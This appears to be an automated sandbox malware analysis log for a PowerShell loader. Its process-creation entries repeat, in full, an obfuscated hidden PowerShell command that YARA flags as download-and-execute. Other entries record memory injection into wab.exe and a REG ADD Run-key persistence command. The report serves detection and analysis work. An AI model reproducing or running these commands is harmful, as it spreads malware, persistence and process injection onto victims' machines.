Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: powershell.exe, 00000002.00000002.2624656540.0000018D628E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll L
Source: wab.exe, 0000000A.00000002.2408112651.0000000008BE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Yara detected Powershell download and execute

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Code function: 10_3_08C31AC6 LdrInitializeThunk,

10_3_08C31AC6

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Source: Yara match	File source: amsi64_6716.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6988, type: MEMORYSTR

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 3210000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2FDFA54			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.iN Ddse.rdltOver.Ori,SDi	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nedprioriterende200.Sig && echo t"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nedprioriterende200.Sig && echo t"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Scleroconjunctival" /t REG_EXPAND_SZ /d "%Ulykkesfugles% -w 1 $Cigaretetuiernes=(Get-ItemProperty -Path 'HKCU:\Indfindendes\').Storborgernes;%Ulykkesfugles% ($Cigaretetuiernes)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Scleroconjunctival" /t REG_EXPAND_SZ /d "%Ulykkesfugles% -w 1 $Cigaretetuiernes=(Get-ItemProperty -Path 'HKCU:\Indfindendes\').Storborgernes;%Ulykkesfugles% ($Cigaretetuiernes)"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "write 'reactualizations rentvisten exploder gawkihood urtesupper indstrmme guitars147 acuity trvaren talefrihed aktivitetspdagogikker ubehjlpsommes moutler croise178 mandigt blindtarmsoperation laeder titre beskyttelsens fremmedsprogene lyrists7 afgr caesaropapacy overskriftsstrrelser reactualizations rentvisten exploder gawkihood urtesupper indstrmme guitars147 acuity trvaren talefrihed aktivitetspdagogikker ubehjlpsommes moutler croise178 mandigt blindtarmsoperation laeder titre beskyttelsens fremmedsprogene lyrists7 afgr caesaropapacy overskriftsstrrelser';if (${host}.currentculture) {$afiklingshastighed++;}$papirindfringen51='substr';$papirindfringen51+='ing';function oktantals($maaleresultatet){$fuldskggets=$maaleresultatet.length-$afiklingshastighed;for( $hypergamously=4;$hypergamously -lt $fuldskggets;$hypergamously+=5){$reactualizations+=$maaleresultatet.$papirindfringen51.invoke( $hypergamously, $afiklingshastighed);}$reactualizations;}function oncogenes($flirtigig){ & ($eksileredes) ($flirtigig);}$klagefrist=oktantals ' ratmseptokrimzbilsi,adiliscelcreaaport/ud.e5tr.o.dagu0 bje b.rd( ejewra,ni a,tnblyad telolympwscrusgalv eddne ittv ks indu1file0guri.sdek0 san;egyp katdwc.rnisensn cas6 em4.ogi;tylv forxf mm6spor4teq ;ka c delfrinfovmo e:myop1brys2kura1 wag.tils0sund).ipp redgcance tobcsjusk u,do fly/unsc2prot0homo1raak0t.ni0blus1afgu0.syk1 um, u,pfglycihoveruartedanif havobassxover/tilb1komm2scam1din .hyld0init ';$morvin=oktantals 'teksu valsbrace wi reuro-argeamaalgskvuedok,n timtmod. ';$urtesupper=oktantals 'cocih undt fjet serph rkstalw:ens./kurv/semie udkcklbeo strnvogts coltgeomrbehoa hj.m.lndeservdcowhi.oteaenke.bar cleveoemptmbrim/s.anskon,agl,nmde,asnonzeforsnno,rd barecurv. dagjc evpnebub,oth ';$dvelreres=oktantals ' p o>wood ';$eksileredes=oktantals 'avi,iglyceafk,xp,ra ';$synecologic='acuity';$flagknap = oktantals 'sekre prvc ,odh indochou sk.t%blipabru peksppno idd.koaop.rtromaa rim%reex\del,nsed.einvedmov p pecrdiskioutdofiskrendoi n,nt,ttaevestrsicae.ebonfa,ddl gtesu o2u,as0k,es0dogm.retysundiidra.g dis isot&,ota&rutt medbeflotcproxhdowco.las indst cr ';oncogenes (oktantals 'abol$divegkaf lconvo,lgpb.ejmasalgl oli:e.sem cenb numeshirl krapbespoamnilme,tidagstkonsu f grgig.emodurm,lj=af.u(dovecfremmobted.hak tvan/f.rfceole o v$.eldf unmltegmamut.gparckvetenegetaitc pcons)korr ');oncogenes (oktantals ',epr$ordsg evelcaniolevub ela,nrilandr: balg oinarekrwtudskpartiundihre,sobl,doscatdaort=brev$ genutiturantetpresebrans macuomfapelskplflaerestrv va.firlsmispphelslneuti tyvtscra(vege$ mjedre.uvextresc,elbudgrundeekapirbe.eepe isf.ed)s,dh ');oncogenes (oktantals 'kono[civinaffles.lvtgabi.tenostor eryonrstrevne kizy,oc auge m,sp fakokariiekphncr,ttavenm me.aassuntimea impgdetae pndrafd ]pist: sli:st.rsen oe strcwichukontr pr.i af,tg oby ufop tilrdatao hayt bleo ba.cteleo enelskri fo r=stop udd[ba.in ddse.rdltover.ori,sdi
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "write 'reactualizations rentvisten exploder gawkihood urtesupper indstrmme guitars147 acuity trvaren talefrihed aktivitetspdagogikker ubehjlpsommes moutler croise178 mandigt blindtarmsoperation laeder titre beskyttelsens fremmedsprogene lyrists7 afgr caesaropapacy overskriftsstrrelser reactualizations rentvisten exploder gawkihood urtesupper indstrmme guitars147 acuity trvaren talefrihed aktivitetspdagogikker ubehjlpsommes moutler croise178 mandigt blindtarmsoperation laeder titre beskyttelsens fremmedsprogene lyrists7 afgr caesaropapacy overskriftsstrrelser';if (${host}.currentculture) {$afiklingshastighed++;}$papirindfringen51='substr';$papirindfringen51+='ing';function oktantals($maaleresultatet){$fuldskggets=$maaleresultatet.length-$afiklingshastighed;for( $hypergamously=4;$hypergamously -lt $fuldskggets;$hypergamously+=5){$reactualizations+=$maaleresultatet.$papirindfringen51.invoke( $hypergamously, $afiklingshastighed);}$reactualizations;}function oncogenes($flirtigig){ & ($eksileredes) ($flirtigig);}$klagefrist=oktantals ' ratmseptokrimzbilsi,adiliscelcreaaport/ud.e5tr.o.dagu0 bje b.rd( ejewra,ni a,tnblyad telolympwscrusgalv eddne ittv ks indu1file0guri.sdek0 san;egyp katdwc.rnisensn cas6 em4.ogi;tylv forxf mm6spor4teq ;ka c delfrinfovmo e:myop1brys2kura1 wag.tils0sund).ipp redgcance tobcsjusk u,do fly/unsc2prot0homo1raak0t.ni0blus1afgu0.syk1 um, u,pfglycihoveruartedanif havobassxover/tilb1komm2scam1din .hyld0init ';$morvin=oktantals 'teksu valsbrace wi reuro-argeamaalgskvuedok,n timtmod. ';$urtesupper=oktantals 'cocih undt fjet serph rkstalw:ens./kurv/semie udkcklbeo strnvogts coltgeomrbehoa hj.m.lndeservdcowhi.oteaenke.bar cleveoemptmbrim/s.anskon,agl,nmde,asnonzeforsnno,rd barecurv. dagjc evpnebub,oth ';$dvelreres=oktantals ' p o>wood ';$eksileredes=oktantals 'avi,iglyceafk,xp,ra ';$synecologic='acuity';$flagknap = oktantals 'sekre prvc ,odh indochou sk.t%blipabru peksppno idd.koaop.rtromaa rim%reex\del,nsed.einvedmov p pecrdiskioutdofiskrendoi n,nt,ttaevestrsicae.ebonfa,ddl gtesu o2u,as0k,es0dogm.retysundiidra.g dis isot&,ota&rutt medbeflotcproxhdowco.las indst cr ';oncogenes (oktantals 'abol$divegkaf lconvo,lgpb.ejmasalgl oli:e.sem cenb numeshirl krapbespoamnilme,tidagstkonsu f grgig.emodurm,lj=af.u(dovecfremmobted.hak tvan/f.rfceole o v$.eldf unmltegmamut.gparckvetenegetaitc pcons)korr ');oncogenes (oktantals ',epr$ordsg evelcaniolevub ela,nrilandr: balg oinarekrwtudskpartiundihre,sobl,doscatdaort=brev$ genutiturantetpresebrans macuomfapelskplflaerestrv va.firlsmispphelslneuti tyvtscra(vege$ mjedre.uvextresc,elbudgrundeekapirbe.eepe isf.ed)s,dh ');oncogenes (oktantals 'kono[civinaffles.lvtgabi.tenostor eryonrstrevne kizy,oc auge m,sp fakokariiekphncr,ttavenm me.aassuntimea impgdetae pndrafd ]pist: sli:st.rsen oe strcwichukontr pr.i af,tg oby ufop tilrdatao hayt bleo ba.cteleo enelskri fo r=stop udd[ba.
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /f /v "scleroconjunctival" /t reg_expand_sz /d "%ulykkesfugles% -w 1 $cigaretetuiernes=(get-itemproperty -path 'hkcu:\indfindendes\').storborgernes;%ulykkesfugles% ($cigaretetuiernes)"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "write 'reactualizations rentvisten exploder gawkihood urtesupper indstrmme guitars147 acuity trvaren talefrihed aktivitetspdagogikker ubehjlpsommes moutler croise178 mandigt blindtarmsoperation laeder titre beskyttelsens fremmedsprogene lyrists7 afgr caesaropapacy overskriftsstrrelser reactualizations rentvisten exploder gawkihood urtesupper indstrmme guitars147 acuity trvaren talefrihed aktivitetspdagogikker ubehjlpsommes moutler croise178 mandigt blindtarmsoperation laeder titre beskyttelsens fremmedsprogene lyrists7 afgr caesaropapacy overskriftsstrrelser';if (${host}.currentculture) {$afiklingshastighed++;}$papirindfringen51='substr';$papirindfringen51+='ing';function oktantals($maaleresultatet){$fuldskggets=$maaleresultatet.length-$afiklingshastighed;for( $hypergamously=4;$hypergamously -lt $fuldskggets;$hypergamously+=5){$reactualizations+=$maaleresultatet.$papirindfringen51.invoke( $hypergamously, $afiklingshastighed);}$reactualizations;}function oncogenes($flirtigig){ & ($eksileredes) ($flirtigig);}$klagefrist=oktantals ' ratmseptokrimzbilsi,adiliscelcreaaport/ud.e5tr.o.dagu0 bje b.rd( ejewra,ni a,tnblyad telolympwscrusgalv eddne ittv ks indu1file0guri.sdek0 san;egyp katdwc.rnisensn cas6 em4.ogi;tylv forxf mm6spor4teq ;ka c delfrinfovmo e:myop1brys2kura1 wag.tils0sund).ipp redgcance tobcsjusk u,do fly/unsc2prot0homo1raak0t.ni0blus1afgu0.syk1 um, u,pfglycihoveruartedanif havobassxover/tilb1komm2scam1din .hyld0init ';$morvin=oktantals 'teksu valsbrace wi reuro-argeamaalgskvuedok,n timtmod. ';$urtesupper=oktantals 'cocih undt fjet serph rkstalw:ens./kurv/semie udkcklbeo strnvogts coltgeomrbehoa hj.m.lndeservdcowhi.oteaenke.bar cleveoemptmbrim/s.anskon,agl,nmde,asnonzeforsnno,rd barecurv. dagjc evpnebub,oth ';$dvelreres=oktantals ' p o>wood ';$eksileredes=oktantals 'avi,iglyceafk,xp,ra ';$synecologic='acuity';$flagknap = oktantals 'sekre prvc ,odh indochou sk.t%blipabru peksppno idd.koaop.rtromaa rim%reex\del,nsed.einvedmov p pecrdiskioutdofiskrendoi n,nt,ttaevestrsicae.ebonfa,ddl gtesu o2u,as0k,es0dogm.retysundiidra.g dis isot&,ota&rutt medbeflotcproxhdowco.las indst cr ';oncogenes (oktantals 'abol$divegkaf lconvo,lgpb.ejmasalgl oli:e.sem cenb numeshirl krapbespoamnilme,tidagstkonsu f grgig.emodurm,lj=af.u(dovecfremmobted.hak tvan/f.rfceole o v$.eldf unmltegmamut.gparckvetenegetaitc pcons)korr ');oncogenes (oktantals ',epr$ordsg evelcaniolevub ela,nrilandr: balg oinarekrwtudskpartiundihre,sobl,doscatdaort=brev$ genutiturantetpresebrans macuomfapelskplflaerestrv va.firlsmispphelslneuti tyvtscra(vege$ mjedre.uvextresc,elbudgrundeekapirbe.eepe isf.ed)s,dh ');oncogenes (oktantals 'kono[civinaffles.lvtgabi.tenostor eryonrstrevne kizy,oc auge m,sp fakokariiekphncr,ttavenm me.aassuntimea impgdetae pndrafd ]pist: sli:st.rsen oe strcwichukontr pr.i af,tg oby ufop tilrdatao hayt bleo ba.cteleo enelskri fo r=stop udd[ba.in ddse.rdltover.ori,sdi	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "write 'reactualizations rentvisten exploder gawkihood urtesupper indstrmme guitars147 acuity trvaren talefrihed aktivitetspdagogikker ubehjlpsommes moutler croise178 mandigt blindtarmsoperation laeder titre beskyttelsens fremmedsprogene lyrists7 afgr caesaropapacy overskriftsstrrelser reactualizations rentvisten exploder gawkihood urtesupper indstrmme guitars147 acuity trvaren talefrihed aktivitetspdagogikker ubehjlpsommes moutler croise178 mandigt blindtarmsoperation laeder titre beskyttelsens fremmedsprogene lyrists7 afgr caesaropapacy overskriftsstrrelser';if (${host}.currentculture) {$afiklingshastighed++;}$papirindfringen51='substr';$papirindfringen51+='ing';function oktantals($maaleresultatet){$fuldskggets=$maaleresultatet.length-$afiklingshastighed;for( $hypergamously=4;$hypergamously -lt $fuldskggets;$hypergamously+=5){$reactualizations+=$maaleresultatet.$papirindfringen51.invoke( $hypergamously, $afiklingshastighed);}$reactualizations;}function oncogenes($flirtigig){ & ($eksileredes) ($flirtigig);}$klagefrist=oktantals ' ratmseptokrimzbilsi,adiliscelcreaaport/ud.e5tr.o.dagu0 bje b.rd( ejewra,ni a,tnblyad telolympwscrusgalv eddne ittv ks indu1file0guri.sdek0 san;egyp katdwc.rnisensn cas6 em4.ogi;tylv forxf mm6spor4teq ;ka c delfrinfovmo e:myop1brys2kura1 wag.tils0sund).ipp redgcance tobcsjusk u,do fly/unsc2prot0homo1raak0t.ni0blus1afgu0.syk1 um, u,pfglycihoveruartedanif havobassxover/tilb1komm2scam1din .hyld0init ';$morvin=oktantals 'teksu valsbrace wi reuro-argeamaalgskvuedok,n timtmod. ';$urtesupper=oktantals 'cocih undt fjet serph rkstalw:ens./kurv/semie udkcklbeo strnvogts coltgeomrbehoa hj.m.lndeservdcowhi.oteaenke.bar cleveoemptmbrim/s.anskon,agl,nmde,asnonzeforsnno,rd barecurv. dagjc evpnebub,oth ';$dvelreres=oktantals ' p o>wood ';$eksileredes=oktantals 'avi,iglyceafk,xp,ra ';$synecologic='acuity';$flagknap = oktantals 'sekre prvc ,odh indochou sk.t%blipabru peksppno idd.koaop.rtromaa rim%reex\del,nsed.einvedmov p pecrdiskioutdofiskrendoi n,nt,ttaevestrsicae.ebonfa,ddl gtesu o2u,as0k,es0dogm.retysundiidra.g dis isot&,ota&rutt medbeflotcproxhdowco.las indst cr ';oncogenes (oktantals 'abol$divegkaf lconvo,lgpb.ejmasalgl oli:e.sem cenb numeshirl krapbespoamnilme,tidagstkonsu f grgig.emodurm,lj=af.u(dovecfremmobted.hak tvan/f.rfceole o v$.eldf unmltegmamut.gparckvetenegetaitc pcons)korr ');oncogenes (oktantals ',epr$ordsg evelcaniolevub ela,nrilandr: balg oinarekrwtudskpartiundihre,sobl,doscatdaort=brev$ genutiturantetpresebrans macuomfapelskplflaerestrv va.firlsmispphelslneuti tyvtscra(vege$ mjedre.uvextresc,elbudgrundeekapirbe.eepe isf.ed)s,dh ');oncogenes (oktantals 'kono[civinaffles.lvtgabi.tenostor eryonrstrevne kizy,oc auge m,sp fakokariiekphncr,ttavenm me.aassuntimea impgdetae pndrafd ]pist: sli:st.rsen oe strcwichukontr pr.i af,tg oby ufop tilrdatao hayt bleo ba.cteleo enelskri fo r=stop udd[ba.	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /f /v "scleroconjunctival" /t reg_expand_sz /d "%ulykkesfugles% -w 1 $cigaretetuiernes=(get-itemproperty -path 'hkcu:\indfindendes\').storborgernes;%ulykkesfugles% ($cigaretetuiernes)"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
